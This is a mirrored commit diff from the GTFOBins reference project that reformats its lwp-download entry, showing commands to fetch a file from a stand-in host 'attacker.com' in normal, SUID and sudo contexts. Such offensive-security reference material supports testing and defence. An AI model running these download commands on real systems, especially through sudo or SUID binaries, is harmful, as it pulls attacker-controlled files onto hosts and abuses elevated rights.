mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Improve lwp-download
This commit is contained in:
parent
279824d588
commit
ec91e7b417
@ -1,21 +1,19 @@
|
|||||||
---
|
---
|
||||||
|
description: Fetch a remote file via HTTP GET request.
|
||||||
functions:
|
functions:
|
||||||
file-download:
|
file-download:
|
||||||
- description: Fetch a remote file via HTTP GET request.
|
- code: |
|
||||||
code: |
|
URL=http://attacker.com/file_to_get
|
||||||
export URL=http://attacker.com/file_to_get
|
LFILE=file_to_save
|
||||||
export LFILE=file_to_save
|
|
||||||
lwp-download $URL $LFILE
|
lwp-download $URL $LFILE
|
||||||
suid:
|
suid:
|
||||||
- description: Fetch a remote file via HTTP GET request.
|
- code: |
|
||||||
code: |
|
URL=http://attacker.com/file_to_get
|
||||||
export URL=http://attacker.com/file_to_get
|
LFILE=file_to_save
|
||||||
export LFILE=file_to_save
|
|
||||||
./lwp-download $URL $LFILE
|
./lwp-download $URL $LFILE
|
||||||
sudo:
|
sudo:
|
||||||
- description: Fetch a remote file via HTTP GET request.
|
- code: |
|
||||||
code: |
|
URL=http://attacker.com/file_to_get
|
||||||
export URL=http://attacker.com/file_to_get
|
|
||||||
export LFILE=file_to_save
|
export LFILE=file_to_save
|
||||||
sudo -E lwp-download $URL $LFILE
|
sudo -E lwp-download $URL $LFILE
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user